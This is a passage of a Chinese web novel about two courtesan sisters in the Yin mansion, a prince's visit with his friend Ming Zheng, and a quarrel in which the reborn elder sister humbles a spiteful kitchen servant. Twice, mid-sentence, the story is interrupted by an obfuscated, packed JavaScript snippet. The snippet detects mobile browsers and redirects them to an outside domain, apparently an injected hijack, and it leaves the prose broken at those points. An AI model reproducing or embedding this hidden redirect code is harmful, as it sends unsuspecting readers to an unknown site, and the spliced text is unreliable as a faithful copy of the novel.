祈明珠将首饰盒内的抽屉一层一层抽开，随机又慎重地将柜门锁上。 她这刚忙完，门外突然传来嘻嘻索索的声音。 祈明珠透过窗口往外看，果然是殷夫人的贴身婢女来了。 婢女带着祈明珠离开后，引得院子里玩闹着的其他家妓议论纷纷。 “喂，你听说了吗？这祈明珠自命不凡，不是向来想攀高枝吗，结果关键时候掉链子，真是可笑！” “是啊，瞧她平时那样，说话都昂着下巴，好像自己不是奴才，倒像个金枝玉叶的小姐。” “现在她把夫人的宴会搞砸了，我看她往后都没好果子吃。” “我跟你们说，今天夫人安排我去唱曲，那庆王竟然长得和谪仙似的，你说要是让她真成了这种人的妾室，那还得了？” “要我说夫人还不如让我上呢，我跳的也不必她差啊！” “你可拉倒吧！也不看看睡过多少男人了！庆王能要你这种千帆过尽的？你能和人家两姐妹的处子之身比吗！” “好你个巧儿，看我不撕烂你的嘴！” 讥讽声不绝于耳。 殷府的家妓都住在府邸红芳院之中，朝夕相处，原本彼此之间就矛盾众多，又加上祈家姐妹二人鹤立鸡群，已经足够招人恨，此时看好戏者不在少数。 祈今歌起身关了门窗，如此才得以清净半分。 大抵过了一个时辰，到了午时，祈明珠才回了院子。 她脸色苍白，浑身都在打颤，她单薄的后背处鲜血淋漓。 走回来的时候，血滴都滑落在了地面上，绽开出一朵一朵的血花，看起来十分骇人。 不少庭院中的人不都被她的模样吓了一跳。 祈明珠没空理会她们探究的目光，强撑着走到自己的房间，气喘吁吁，没在半路上昏厥过去，就已经是天大的幸事。 隔着一层薄薄的墙壁，祈今歌能够清楚地听见祈明珠痛苦的哀鸣声。 她应该是伤的很重，像一只奄奄一息的小狗，只能发出悲鸣，甚至连说话的声音都没了力气。 祈今歌知道，殷夫人不会要了她的性命，她们姐妹二人对夫人还有用处。 祈明珠的痛苦的声音断断续续地传了过来。 祈今歌听得有些心烦意乱。 她起身打开矮柜，从上层摸出一只药瓶，瓶上粘着的麻纸上写着“玉真散”三个字。 此药甚至昂贵，对活血化瘀、治疗跌打损伤有奇效。 手指摩挲着药瓶，瓷器的冰冷质感传递到了指心。 祈今歌看了良久，轻叹了一声，却终究还是把药瓶放回了原来的位置。 4. 选择 庆王府乃是云州最大的府邸。 雕梁画栋，朱门高耸，王府门口摆放着两座威武肃穆的石狮子，守卫们身穿银甲，手握长枪，气势威严，好不气派。 一辆低调又奢华的马车于大门口缓缓停下。 尹长寻刚下车，守卫便告知，明正在正厅等候着他。 若是一般人，没有庆王的点头，是万万不可能在没得到尹长寻的允许下，便先行让他进府候着的，可明正偏偏就是那个例外之一。 尹长寻初来乍到，在云州称得上为数不多的熟人之一，便这云州太守明守义的儿子明正。 明正这人，可谓是名不副实，不“明”且不“正”，反而行事作风带着几分邪气，与他父亲给他的期望背道而驰。 单说样貌，常年喜欢着深色衣衫，不是大红就是大紫，招摇又俗气，但是所幸一张脸生得俊朗，分外讨人喜欢，使得他看上去不仅不会显得过分怪异，反倒像只用心打扮的公孔雀，只让人感叹他的精致与奢华去了。 他常年握着一把玉竹折扇，使得他轻浮中又带点风度翩翩，便是再讨厌这人，也不能昧着良心说明正的皮囊不好。 与他相貌匹配的便是他那自来熟的脾气，不仅与男子称兄道弟，交友甚广，狐朋狗友众多，在女人间也是处处留情，小小年纪，已经惹得不知多少女子痴心错付。 再说才华，其实明正也算得上是聪明过人，毕竟虎父无犬子，明正并不输给他人分毫，但可能是由于他的父亲太过优秀，优秀到明正吃喝不愁，也能过逍遥日子，因此他也没了考功名的心思，反而是混吃等死，乐得自在。 此般模样，与他那古板清正的老爹完全是两模两样。 当初他还在京城之时，明守义在朝中做官，因文采斐然，先帝又宠爱尹长寻，便让明守义兼任太师，交尹长寻识字认理。 因此机遇，尹长寻与明正在孩童时期便已相识。 要说关系多好，在最无忧无虑的那几年，孩童时期的两人称得上一句“合穿一条裤子”的兄弟情义，哪怕分别多年，明面上不说，至少在私底下，明正都不需要向旁人一样尊称尹长寻为庆王殿下，只需要向儿时一样唤他“长寻”便可。 后来，因前任云州太守在旱灾中贪污一事东窗事发，震动朝野，其人被斩首示众后，云州太守的职位便空缺了下来。 先帝再三思量，决定任命明守义前去走马上任，于是明正与尹长寻这才分开了数年。 尹长寻迈步进入厅堂，便一眼看到明正正斜坐着喝着茶，一幅吊儿郎当的样子。 所谓宾至如归，大抵便是这样，仿佛明正才是这府邸的主人，尹长寻反倒是远道而来的客人。 尹长寻并不好奇为何明正会突然出现在府邸，他知道明正过来是干什么的，无非是看他和殷夫人“牵线搭桥”的计划是否成功。 看到尹长寻回来了，明正原本翘着的二郎腿立马放了下来，起身迎接道：“呦，这不是咱们的庆王殿下吗，怎么回来的这么早？怎么样？满意吗？” 明正问的，正式今日尹长寻去殷府一事。 明正花天酒地已经是习以为常，认识的人也是鱼龙混杂，干什么都有。 原本来到云州以后，尹长寻并不打算与任何前来攀附的人接触。 这些人想要的什么，他很是清楚。 无非是王爷身份背后连接的权利罢了。 尹长寻既不想从别人身上获得什么，也不想被别人利用。 而此次殷夫人邀约，他之所以破例赏脸，只不过是因为明正与殷夫人甚有交情，明正好说歹说，他才最终点了头。 当然，殷夫人明面上给的说法无非是小聚交个朋友，并无他意。 但是实际上对方打的什么算盘，尹长寻心知肚明。 尹长寻并不回答这个问题，尹正绕身看了尹长寻身后，发现空无一人，大失所望。 “不是吧？自己一个人回来的？！一个都没看上？祈家那两姐妹你一个都不要？” 明正捶胸顿足，一幅痛心疾首的样子。 尹长寻觉得好笑，看来这明正早就知道殷夫人的打算，甚至连要给他送几个女人，送的是哪几个女人都一清二楚。 尹长寻没有直接答他的话，只是说道：“坐下说。” 两人落了座，婢女上前续了茶，明正细细将尹长寻“空手而归”的理由问了一遍。 他听罢，嘴角一抽，十分不可思议道：“就这个理由，你就看不上人家了？有没有搞错？人家姑娘平日里水平不差，估计是见到你紧张才失误了，表现偶尔有点差池不是很正常？再说，不过是收下来做个妾罢了，又不是明媒正娶的夫人，要求这么多干嘛？做妾的女人，好看就够了，想看舞乐，大宇之内多的是人！你知不知道，我都想讨她们二人进门作妾，哪怕只得一人也是此生无憾了，只可惜殷夫人根本不舍得割爱啊，还得是你这种身份的人才有机会！你竟然拒绝了！” 一字一句中，颇有点恨铁不成钢的意思。 尹长寻不以为意。 像他这种出身的人，从小到大根本不会缺女人，纵然是倾国倾城之姿又如何？皇宫之内的女人，哪一个不是姿容艳丽？ 明正又嘀咕了几句，尹长寻揉了揉眉心，只觉得多年未见，明正还是如小时候一样聒噪。 明正说罢，又是神色一正，收敛了嬉皮笑脸的神态，一拍大腿，认真道：“长寻，你要是实在不行，看看我妹怎么样，芷玉对你可是痴心不改啊！” 尹长寻嫌弃道：“你妹？那免谈。” 明正皱眉：“没得商量？” 尹长寻道：“完全没有。” 明正干嚎道：“我妹怎么你了？她不就是吵了些闹了些刁钻了些，怎么就免谈了？长的也不丑啊，好歹也是太守千金，这么不给我们明家面子？” 尹长寻瞥了他一眼，轻笑道：“你到底是我兄弟还是我娘，这么操心我的婚姻大事。” 明正理直气壮：“也不看了咱们是啥关系，现在我不操心你的婚姻大事，难道等皇上操心你？” 尹长寻倒是笑了，明正这话说的不无道理，他娘走的早，他爹又薨了，无父无母，说的正是他了。 虽然外面都传当今圣上对庆王偏爱有加，说的他俩兄友弟恭一样，可是尹长寻心里清楚，他的大哥尹天志虽然对自己不错，可是和自己私下算不得关系亲密，甚至可以说不熟。 想来，还真的只有他这个幼年好友还愿意盯着这档子事。 明正继续道：“说起来，我掺和这事，也是因为我父亲。” 话题突然扯到恩师，尹长寻的兴致高了点。 他挑了挑眉，道：“哦？为何这么说。” 明正笑道：“这不是你刚来云州的时候便去见我的父亲了吗？你走后，我父亲就说，你这如今一个人在这云州，孤孤零零的，得给你找个伴才是。我这一寻思，我的父亲虽然平日大道理多，这句话还是实在。我又仔细想想，云州这里，身份配得上你的姑娘，能做正妻的，怕是选不出几个人，但是做妾，还是能找出几个貌美如花的，这不才主动掺和了这事。既然殷夫人也有意，我又想 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这么两个绝世大美人你都没兴趣？到底要求多有多高？ 明正想说，却没有说。 他点了点头，又不知想到了什么，突然安静了片刻，随即神情又变得严肃了起来，欲言又止道：“长寻啊……” 明正一本正经的样子很少见，尹长寻看向他，问道：“有屁就放。” 明正的神情有些微妙，看起来有点为难，他的声音比先前压低了几分，道：“咳咳……听闻你在上京之时，也是和小时候一般不近女色，长寻，你莫不是……” 尹长寻就知道明正没安好心，狗嘴里吐不出象牙。 尹长寻制止了他不怀好意的揣测，毫不客气道：“闭嘴，我没那个癖好。” 明正摸了摸下巴，质疑道：“那你怎么这么多年身边都没个女人？” 论样貌，尹长寻是万里挑一的美男子。 论身份，王爷已经仅次于几人之下的贵族。 这样的人，哪怕自己自己不主动找女人，扑上去的女子也是不会少的。 男人嘛，明正哪能不懂，毕竟他自己就是男人。 有时候哪怕不喜欢一名女子，但是不主动、不拒绝、不负责，男欢女爱，你情我愿，图个片刻欢愉的时候也不少。 面对鱼水之欢，能不为所动的男子简直是凤毛麟角。 再说，他和尹长寻这样的身份就注定了，就算是姑娘家动了真情，一哭二闹三上吊，非要个说法，他们也可以轻易脱身。 尹长寻无论想和谁在一起，无论想找哪个女人打发时间，都没有后顾之忧。 他有这个权利，却没有用。 他可以选择做，却没有做。 这的确是很奇怪。 尹长寻却不觉得奇怪，一脸无语道：“你以为我和你一样，见一个爱一个，是个女人都行？” 他的话说得颇为嫌弃。 明正听了这话却不生气。 毕竟尹长寻说的是实话。 他反而被勾起了好奇心，道：“哦？那你给我说说，你喜欢什么样的女人？温柔的还是妩媚的，英气的还是娇小的？大大咧咧的还是腹有诗书的？你倒是说个大概情况啊，兄弟也好替你物色物色不是？” 明正的问题像连珠炮一样抛了出来。 尹长寻只是一笑，给了一个彻底将明正噎住的回答。 “我哪知道。反正话和你一样话多的肯定不行。” 5. 争吵 一个月后，正是孟夏。 浓烈的日光透过叶隙，留下一地斑驳。 经过这段时间的修养，祈明珠的伤势也在此时好得差不多了。 饶是如此，墙推众人倒，祈明珠坏了殷夫人的大计，这么大的事，显然是瞒不住的，一时间，殷府内已经无人不知。 往日，祈明珠仗着自己模样好看，夫人又给她姐妹三分殊待，平日里嚣张惯了，没少得罪人。 府中的男子被她的脸迷的神魂颠倒，色令智昏，不光不和她计较，反倒是对她有求必应，一幅狗见了骨头似的垂涎三尺的样。 但是府中的女子们可不买她祈明珠的账，可不会不记她祈明珠的仇。 平日里她们顾忌着殷夫人，不敢多说什么，多做什么，可是现在她们姐妹俩最大的靠山也已经懒得搭理她们二人了。 俗话说得好，痛打落水狗，现在正是落井下石的好时候。 殷府的下人见风使舵，大到红芳院的家妓，小到婆子婢女，没一个少甩脸色给祈明珠看的。 就连最基本的吃穿用度苛刻了起来。 原本受罚的应只有祈明珠一人，可殷夫人太了解祈今歌过去的脾性，若是只惩罚一人，她断定祈今歌会宁愿自己受苦，也要让祈明珠少受点罪，将好的吃的、好穿的都让给妹妹都不是什么稀奇事，于是为了避免出现这种情况，殷夫人干脆大手一挥，将二人一起罚了。 只不过祈今歌并不觉得有什么。 小时候的日子比这苦多了，她也熬过来了。 这日上午，她正在屋内看着书，突然听到门外传来一阵有些苍老却又尖锐的声音。 “呦。明珠姑娘，这话我可说的不爱听了，什么叫咱们针对你啊？您这天天十指不沾阳春水的，怕是不知道咱们府里的下人平日里就吃这么些玩意儿呢，您现在不适应，多吃几顿，便适应了。“ “不吃？真不吃？您也别吓唬我，您真不吃，大不了收回去便是了，到时候可别饿得发慌，没骨气地跑夫人那告状，诬告是婆子我没给您送饭啊。” “您也别冷着个脸了，甩给谁看啊？大家说到底，都是给夫人卖命的，为奴为婢罢了，就算做奴才的也要分个三六九等好了，可您也不能把自己当小姐对待啊，所以说啊，这人就是不能忘本，明珠姑娘您怕是好日子过久了，忘了自己几斤几两吧？” 话语里的一字一句都很是尖锐，甚至说的上猖狂。 “你欺人太甚！” 是祈明珠的声音。 她似乎很是激动，声音都是颤抖着的。 只是她的反击似乎并没有起到什么作用，话刚刚说完，一阵阵哄笑声便随之而来。 听这阵势，动静还不小。 结合近段在殷府的处境，祈今歌都不用多看一眼，便清楚定然是祈明珠和说话之人发生了争吵。 至于那阵笑声…… 自然人是红芳院的其他人在那起哄看热闹。 她想一想，从椅子上起身推开门，一眼就看到祈明珠站在门口的墁地上，白皙的面庞气得都红了起来。 而在她的对面，站着的乃是一位穿着粗布麻衣的妇人，五官平平，嘴角下一颗媒婆痣尤为醒目，身材因为发福有些臃肿，她一只手叉着腰，另一只提着木制的食盒。 她虽然穿的简陋，可是神色却很是精明，一张嘴能说会道，气得祈明珠直接说不出话来。 此人祈今歌再熟悉不过，厨房的易婆子，每日都是由她来红芳院送饭。 虽然她只是厨房的一个仆妇，身份低微，可是因为在府邸中干的时间久，因此名声不小，尤其是一张嘴伶牙俐齿，主打一个不饶人，至少是厨房那一亩三分地，谁都要给她点脸面。 只不过，以前她对祈家两姐妹可是卑躬屈膝，极为谄媚，毕竟她们姐妹二人在红芳院的众人之中，算得上是夫人面前的红人，哪有得罪的道理。 现在时殊事异，见风使舵的她又换了截然不同的面孔。 而在院子四周不少家妓也从房中出了门，三两成群地埋头窃窃私语着，一边的眼光不住地往祈明珠所在的方向瞟。 当她们注意到祈今歌出来了以后，眼神中的玩味更加浓烈了。 谁不知道祈今歌向来最护着她的宝贝妹妹？ 虽然祈今歌并不骄横，与人为善，平日也十分低调，但是那又如何？ 红芳院是人吃人的地方。 在这里，一人得的多了，另一人就得的少了，彼此之间就是你死我活，你争我抢的，从不是什么乐土。 在过去的这些年，祈今歌毕竟抢了太多太多人的风头，因此依旧是遭人嫉恨的。 眼下祈今歌既然现了身，自然是要为了祈明珠掺和这事的，家妓们自然是看热闹不嫌事大，希望事情闹得再大一些。 祈今歌并不是与人争锋相对的性格，大多数时候都安安静静，一幅与世无争的样子，也向来是好说话的人。 这样没有棱角的人，若是有人铁了心要为难她，这样的人又怎会是在王府最底层摸爬滚打出来的婆子的对手？ 别的不说，光是嘴上就讨不到便宜。 无论是祈明珠还是祈今歌，若是没了夫人撑腰这层缘故，谁又怕他们呢？ 眼下马上就能看到这对高高在上的姐妹花同时吃瘪，一时间内，院内众人的心中是既紧张又期待。 祈今歌走到了二人面前。 争吵的两人看她前来，都安静了下来。 祈明珠心中有点忐忑。 头第一次，她开始怀疑，姐姐到底会不会帮自己？ 纵然是她再不敢相信，她也必须承认一个事实。 她的姐姐的确变了。 虽然不知道发生了何事，但是从一个月以前，她的姐姐就已经不再是以前那个宠她、爱她、护她的祈今歌了。 单单说自己受伤以后得一个月之中，祈今歌几乎算得上是对祈明珠不闻不问，只是过问了几次恢复的情况，那也是屈指可数。 要是以前，祈明珠绝对会亲力亲为地照顾她，直到她康复为止，而不是让红芳院那名唤为翠儿的丫鬟代劳。 上心程度对比以前已经是天差地别。 而祈明珠打破头也想不明白，祈今歌为何会突然对她这么冷淡。 但是哪怕如此，祈明珠还是抱有期待。 祈今歌这段时间的变化只是暂时的，只要再过一段日子，她就会恢复如初。 所以现在，祈今歌会为自己说话吗？ 祈明珠没有答案。 而易婆子的神色则没什么变化。 那副有些沧桑的面容依旧颇为趾高气扬。 毕竟她和祈今歌打交道不是一次两次了，如果说祈明珠还能脸红脖子粗的和她争几句，让她多费几口唾沫星子，那祈今歌则是争吵的力气都可以省了，她向来说不出半点狠话。 每次出手护着她这个不安分的妹妹，也从来不是与她人争锋相对，而是劝大家大事化小小事化了，一副好言相劝的做派。 这样斯文又心善的人，本来在明争暗斗的红芳院就属于异类。 这样的人儿能安然无恙活到今天，得亏是长得好看又有才，能让男人们爱不释手，因而得了夫人的看重，所以旁人不敢胡作非为。 否则的话，早就被吃干抹净，欺压到死了。 如今她就算要帮她妹妹解围，又能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457658|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何呢？ 无非是两方都说好话，让大家息事宁人，说不定，易婆子不买账的话，还得继续求着她易婆子少说几句呢。 易婆子扫过祈今歌，眼神中闪过一丝轻蔑，嘴上还是乖巧道：“呦，今歌姑娘，您来了，今天的饭已经到了，我给你送进房里？” 祈今歌不动声色，看了一眼祈明珠脸上还未褪去的潮红，又瞧了瞧易婆子提着的食盒，平心静气道：“易婆婆，这倒是不急，我还不怎么饿。我倒是想看看，今天是备了什么菜，让我这不懂事的妹妹如此大动干戈？” 易婆子倒是不怵她这要求，做都做了，还能不敢给她看？ 于是她大大方方地打开食盒上的盖子，提到了祈今歌的面前，让她能够一览无余。 祈今歌低头看了一眼，也忍不住皱起了眉头。 她瞬间明白祈明珠为何发火了。 说是饭菜，倒也抬举了，无非就是两碗白米粥，一碟酸菜，一碟炸得有些焦黄的小鱼干，外加一小盘辣椒拌的萝卜丝，再无其他。 便是殷府之中最下等的下人，吃得也不会比这更差了。 这样的饭菜，别说祈明珠吃不下了，就算是祈今歌也是难以忍受的。 其实这一个月以来，祈今歌和祈明珠的伙食已经差了不少，但是尚且还能下咽。 祈明珠本身体就元气大伤，如今每餐都是清汤寡水，面色就更加不好看。 她知道自己有错在先，也只是发发牢骚，不敢多言。 只是先前再差，倒也没差到过如此境地。 按照殷夫人的脾性，纵然惩罚她们，也不会做到这么绝。 夫人惩罚他们七分，这帮看人下菜的家伙便要趁机添油加醋，打着夫人的名号，将事情做到十分。 能出现今日这样不堪入目的膳食，很明显是这帮下人狗仗人势，一来想踩踩平日里待遇与众不同的二人，让她们体验下跌落泥潭的滋味，二来便是认为这样拙劣的手段能够讨夫人好欢心。 简单点说，就是看二人失势，欺人太甚，彻底不把二人当人看了。 祈明珠发火还真不算是无理取闹，因为他人的所作所为已经让人忍无可忍。 哪怕是一向善于忍耐的祈今歌，也觉得这的确是太不像话。 易婆子见祈今歌不说话，便认为祈今歌还是和以前一样的好脾气，将事情忍了下去，于是便道：“姑娘，您看，要是没啥问题，我就给您放桌上了，不然菜都要凉了。” 祈今歌收回了目光，看向了易婆子，目光比寒冬的冷月还要凉。 易婆子被她这么一盯，不知为何，一股凉意从脚心蔓延开来。 她从未看过祈今歌出现过这样的眼神，虽然不发一言，却足以让人不寒而栗。 简直就和殷夫人发威时的眼神一样令人胆战心惊。 这不应该是祈今歌会有的眼神， 一瞬间，易婆子都忍不住怀疑，自己是不是看错了。 祈今歌收敛了神色，如平常一样微笑着说话，话语里却没有丝毫温度：“当然没有问题了，是我妹妹太不懂事了，这有什么好吵的？婆婆做饭也是不容易，哪里还有挑三拣四的道理。” 易婆子听了，不由得松了一口气，看来刚刚的不安是多虑了。 然而话说到一半，祈今歌的话语却陡然一转，继续道，“只是我竟然不知道，短短一个月的时间，婆婆的厨艺长进得这么快，婆婆你也不能偏心，光给我们两姐妹吃独食享受，也该让红芳院的诸位姐妹一起品品才是。这菜色香味俱全，简直是人间极品，依我看，这红芳院我也不用待了，不如和您一起去厨房学做饭，倒也比成日学些没用的琴棋书画强的多。” 6. 锋芒 明褒暗贬。 祈今歌话中的讥讽之意，只要还带了点脑子，就不会听不出来。 别说易婆子了和在场的诸位家妓了，就连祈明珠也惊讶地说不出话。 她的姐姐虽然不软弱，但是不争不抢的性格，让她总是习惯于息事宁人，而不是非要与人分个高低。 向来惯会是个做和事佬的，从不愿意激化矛盾，更不愿意与人口舌相争。 一来，她的性格淡然，一般的事难以激起她的喜怒哀乐，二来，她平日说话都是轻言细语，不像祈明珠似的恃宠而骄，往日别人也不会直接欺负到她头上来，没有唇舌相讥的机会。 这样的一个人，定然与红芳院的女子是不大相同的。 风尘女子身上的俗气、势利，在她身上，往日就没有看见半分。 相反，她给人的感觉是绝尘的、淡然的。 然而，就是这块如璞玉一般清冷的女子，今日却猝不及防地露出她锋芒的一面。 只是众人不知，她到底是何时被打磨过？ 祈今歌的话说的落落大方，言语上非但不粗俗，甚至可以说是挑不出毛病，比起祈明珠和易婆子之间尖酸刻薄的唇枪舌剑有气度得多。 在维持她的体面的同时，还讥讽了易婆子的见风使舵。 易婆子怎么也没想到，在祈明珠这里没栽跟头，反而是在祈今歌这丢了脸。 诧异远远胜过了被嘲讽的愤怒，一时半会她竟然也找不出什么话反驳。 不过拿人钱财，替人消灾，该做的还是得做。 这事想想也容易明白，不管殷府里多少人看不顺眼这对姐妹花，易婆子也是没理由做得如此明显的。 她只是一个厨房煮饭婆子，平日里哪能和祈家姐妹有多大仇。 哪怕再看不惯殷夫人养在院中的卖笑女子，但也犯不着她来出这个风头针对祈家这两姐妹。 闹成现在的动静，自然是另有玄机。 殷夫人既然想给他们一点教训，她莫敢不从。 此外红芳院中，不少人不介意给两姐妹雪上加霜，让二人日子再难受一点，这帮人又不愿意亲自出马，其中的一部分人便私下给她塞了不少好处，借她易婆子的手来泄愤。 易婆子一个殷府最下等的下人，就靠着点微薄的月钱过活，这帮花枝招展的女子随便从手里里漏点油都够她诚惶诚恐了，哪里还有不答应的道理。 不过，她毕竟活了五十多年了，到底也不是吃素的，祈今歌竟然当众反击了她，她也不能就这么算了。 易婆子看了看祈今歌。 即便是不施粉黛，她也是整个红芳院最为耀眼的存在，肤白如雪，粉雕玉琢，似初春盛开的山樱。 然而她气质又清冷，更像是天山上遥不可及的雪莲，如此对立而又绝美的结合，将整个红芳院中千娇百媚的美人都压下去了。 绝色佳人，一个压在头顶，便已经足够让人窒息，偏偏祈明珠也生得美丽。 有她们二人在殷府，其余的人都只能沦为绿叶，永无出头出头之日。 如此，怎么不遭人恨。 易婆子回过神来，眼睛轱辘一转，转眼间，便想好了应对之策。 她虽然是个下人，可是下人只在主子面前才会逆来顺受。 院内这么多人看着，她总不能就这么一言不发，直接认输。 “今歌姑娘，瞧您说的什么话！您这长相，您这身段，天生就是享福的命！那哪能和我们这等粗使婆子一样，整天围着那财米油盐转啊！您这么说，还真是折煞老奴了！” 易婆子将手中拿着的木盖又盖了回去，答话时笑得很是谄媚，然而话语却是夹枪带棍的，“至于这厨艺嘛，老奴可不觉得自己有什么长进，还不是以前的老样子！咱也是心疼姑娘，前些天错过了庆王这么个大好机会，定然是茶不思饭不想，您这菜要是喜欢吃啊，奴婢以后天天就按这个样子给您做！” 这话一出，庭院内又是一阵嬉笑声。 易婆子的话不可谓不恶毒。 又是嘲讽她们姐妹二人错失了踏入王府的机会，继续往伤口上撒盐，又是表明让她们以后继续天天吃这猪食一样的饭菜，往后也没好日子过。 可谓是一箭双雕，恶心死人不偿命。 祈明珠听了，只觉得自己的心脏突突直跳，好不容易平复了点的情绪又起了波澜。 “你！” “婆婆说的是，我们姐妹二人倒是要感谢婆婆关心了。” 祈今歌出声打断了正欲发火的祈明珠。 她依旧神色平静，不为孟婆子的话所挑动。 祈今歌扯了扯嘴角，笑容清冷。 她并不生气。 像这样挑衅的话，如果是上一世的她，或许听了以后，纵然好脾气如她，也会有不满积攒在心头。 毕竟人心都是肉长的，哪能没有丝毫反应。 可是她是重活一世的人。 跨越生死的人，遭遇过至亲背叛的人，体验过痛彻心扉的人，不会将此等挑衅的话放眼里。 祈今歌看着对自己表现颇为有些得意的孟婆子，不急不缓道：“婆婆如此把我和明珠放心里，今歌不是不知道感恩的人，想来，也有些忠告要给婆婆，早说早好，如此，婆婆日后才能在府中更好的行事才是。” 忠告？ 易婆子不解为何祈今歌突然提起这个词？ 不知道为何，易婆子心理有种不妙的预感。 这个暂且不论。 祈今歌年纪轻轻的一个小丫头片子，自己吃过的盐比她走过的路还多，她能给自己什么建议？ 尽管易婆子不屑一顾，但是明面上也不好直接无视，再说，她也想看看，祈今歌到底要玩什么把戏。 “哦？老奴倒不知姑娘有何指教？” 祈今歌道：“我这几日闲的无事，便翻阅了些话本子来看，其中有这么一个故事，虽说俗套，但是也颇有几分意思。” 易婆子狐疑地看着祈今歌。 她大字不识一个，哪里知道什么话本子里面写什么。 易婆子想了想，虽然没有想明白，但是依旧是接了话：“不知道是个什么故事，能让姑娘特地拿出来说道说道？” 祈今歌又道：“很简单的故事，说的是很久很久以前，曾有个大宁王朝，王朝中的太子因得触犯了圣上，被帝王废黜后，软禁了数十年，朝中之人见太子失势，立马转头投奔他人，而在太子被囚禁的十几年中，他的父皇对他不闻不问。墙推众人倒，所有人都认为，太子已经走入了死路，就连宫中的一些奴才也胆大包天起来，竟然也欺负起这位被废黜的太子了。” 易婆子听得一愣一愣的。 而周围的人也安静了下来。 “然、然后呢？” 易婆子的瞳孔微缩，不知为何听得有些紧张，明明是个胡编乱造的话本子罢了，她也不知道自己在害怕个什么劲。 只觉得眼前说着话的漂亮姑娘突然之间变得有些渗人。 “然后？”祈今歌微微笑道，“您也知道，朝中的关系颇为复杂，其中暗流涌动，波诡云谲。太子的废黜，自然是严重影响到了朝中势利的平衡，甚至出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这不光是在提醒易婆子别欺人太甚，更是警告在场其他人适可而止。 祈今歌如此和风细雨的说出这个故事，一幅温温柔柔的样子，反倒是显得更加骇人！ 明明是四月的天气，和风煦日的，可是偏偏让人觉得冷的起了鸡皮疙瘩！ 易婆婆也是一下子被吓傻了，她从未见过祈今歌这一面，简直是比夫人发火还要可怕几分。 夫人制服她们是靠府中的武力，而祈今歌是一个手无缚鸡之力之力的女子，竟然仅仅靠几句话就能让她们胆寒！ 简直就像突然变了一个人。 易婆子脸色苍白，手心微微出汗。 的确，于情于理，就算拿了钱，她暗地里使点坏就罢了，何必明面上和这两姐妹争锋相对，把事做绝！ 但是万一她两姐妹真的恢复以前的地位，她定然首当其冲！ 以前她可能不怕这两姐妹，毕竟祈明珠只是脾气刁蛮，城府也就那样，祈今歌在她眼里也是软包一个，又能把她怎样呢？ 可是瞧祈今歌今日这副模样，她实在是有些把握不准了…… 于是她吞了口唾沫，结结巴巴道：“对、对！祈姑娘，您说得、说得再对不过了！谢谢、谢谢姑娘提醒！” 这副谨小慎微的样子，简直和刚才判若两人。 看到了想要的效果，祈今歌见好就收，道：“婆婆明白了便好，正好我也饿了，今日您的饭既然做好了，我也就将就着吃了，以后，您可得多用心些。” 易婆子连连点头，只觉得汗流浃背，微微躬着身子点头道：“是！是！以后的伙食您就不用担心了，婆子我一定更加用心！您放一万个心！我这就给您送进房去！” 祈今歌扬起啦一个无声的笑，让人看不出笑意中的冷暖。 她不再多言，衣袖一拂，直接转身回了房。 庭院里针落有声，在场剩下的人皆面面相觑。 7. 决断 祈明珠心情大好。 她像获胜者一般扫视了一圈院子内这帮看好戏的人儿。 现在这群醒幸灾乐祸的人终于笑不出来了，一个个都大眼睛瞪小眼，疑惑、迷茫以及三分畏惧写在了他们的脸上。 她们害怕了。 害怕不怒自威的祈今歌。 刚刚祈今歌散发出来的气场，与往日截然不同，就连祈明珠打量她的时候，都有一股陌生之感。 威严、庄重，加上恩威并施的话语，让祈今歌看上去不像个被豢养在府中的家妓，反而像个端庄而稳重的一家之母。 尽管祈明珠也不明白，为何在短短的时间没，祈今歌为何突然有了如此巨大的变化。 但是这并不重要。 因为祈明珠不觉得这样的祈今歌可怕。 重要的是，她的姐姐替她解了围，出了头，让红芳院中这帮看她笑话的人狠狠地吃了憋，让她狠狠地出了一口气！ 现在，轮到她祈明珠笑了！ 这一个月来，堆积在祈明珠心中对祈今歌的怨恨瞬间烟消云散。 果然，姐姐心里还是有自己的！不然怎么会特意出来帮她说话！ 她正想着，就听见身后“唰”的一声响起。 只见易婆子推开门，提着已经空了的食盒，从房里走了出来。 当她走过祈明珠身边时，她停住了脚步，艰难地挤出了一丝笑容，道：“明珠姑娘，您的饭菜，我也一并放在您姐姐房里了，以后给您送来的饭菜，我也一定比今天用心些。” 祈明珠垂眸。 易婆子这副低眉顺眼的样子可比刚刚眉飞色舞的嘴脸好看多了。 祈明珠才懒得配合她演戏，她向来不是她姐姐那般顾全体面的脾气，于是她只是轻哼了一声，不再给这红芳院之中任何人一个人眼色，旋即去了祈今歌的厢房。 “姐姐！” 祈明珠推开门，便看见祈今歌坐在桌子上，正喝着只带一点葱花的白粥。 祈明珠抬眸看向她，却并没有应话。 这一个月，祈明珠对她的反应也已经习惯了。 从前，只要她撒娇似地喊着姐姐，祈今歌总归露出一个温温柔柔的笑容，看着她，然后问她怎么了。 有时候祈明珠觉得，祈今歌与其说像是姐姐，更像是母亲一样，无条件包容着她的一切。 可是现在，祈今歌不会再如此了，她只会静静地看着自己，等候自己的说出下一句话。 祈明珠当然不会喜欢她如今的反应，可她刚刚才打赢了女人之间的一场没有硝烟的战争，此刻的她，才懒得计较这么些细枝末节的小事。 “姐姐！你刚刚好威风！你是没看见，你回屋以后，院子里那帮小人吃瘪的表情！五颜六色的，精彩极了，简直像个大染坊！” “姐姐！你刚刚说的，是哪一本话本子，竟然如此契合我们的处境，也借我看看吧！” 祈明珠笑得灿烂，像是春日开的灿烂的春桃。 她边说着话，边坐到了祈今歌的对面，这个位置摆放着的，正是她今日的膳食。 祈今歌道：“这话本子的内容，自然是我编的。” 祈明珠一愣，不可置信地瞪大眼睛，这竟然是祈今歌临时起意编的吗？ 她那善良到有些老实，老实到有些死板的姐姐，如今竟然也学会戏弄人了？！ 原来这群人，都被自己姐姐耍的团团转！ 